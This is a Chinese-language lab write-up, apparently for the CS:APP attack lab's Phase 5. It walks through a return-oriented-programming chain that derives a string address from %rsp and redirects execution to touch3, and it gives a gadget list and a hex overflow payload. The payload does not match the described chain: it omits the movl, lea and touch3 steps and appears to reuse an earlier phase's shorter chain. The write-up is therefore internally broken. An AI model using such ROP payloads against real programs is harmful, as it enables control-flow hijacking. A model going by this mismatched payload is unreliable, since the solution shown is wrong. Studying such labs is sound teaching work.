

# Phase 5

* 该阶段要实现的效果和Phase 3一样，所以同样需要将%rdi内容修改为cookie字符串对应地址并跳到touch3函数
* 由于每次栈都是随机开辟，存入字符串的地址并不固定，所以不能直接把地址赋值给%rdi，而需要通过读取栈顶地址%rsp加上一定的偏移量来获得字符串地址
* movl指令以寄存器作为目的时，会把该寄存器的高位4字节设置为0，即会损失高四字节的值。而栈顶地址经过gdb断点测试，都至少大于0x7ffffff00000：
* 所以ROP整体思路为：  
  1.将偏移量pop入%rax中  
  2.movl指令将偏移量以该顺序：%eax->%edx->%ecx->%esi移入%rsi中  
  3.movq指令将栈指针以该顺序：%rsp->%rax->%rdi移入%rdi中  
  4.lea指令计算字符串地址  
  5.计算结果%rax赋值给%rdi  
  6.调用touch3
* 所以汇编
* pop %rax
    
  retq
    
  movl %eax,%edx
    
  retq
    
  movl %edx,%ecx
    
  retq
    
  movl %ecx,%esi
    
  retq
    
  movq %rsp,%rax
    
  retq
    
  movq %rax,%rdi
    
  retq
    
  lea (%rdi,%rsi,1),%rax
    
  retq
    
  movq %rax,%rdi
    
  retq
* 构造payload
* 00 00 00 00 00 00 00 00
    
  00 00 00 00 00 00 00 00
    
  00 00 00 00 00 00 00 00
    
  00 00 00 00 00 00 00 00
    
  00 00 00 00 00 00 00 00
    
  cc 19 40 00 00 00 00 00
    
  fa 97 b9 59 00 00 00 00
    
  c5 19 40 00 00 00 00 00
    
  ec 17 40 00 00 00 00 00
* 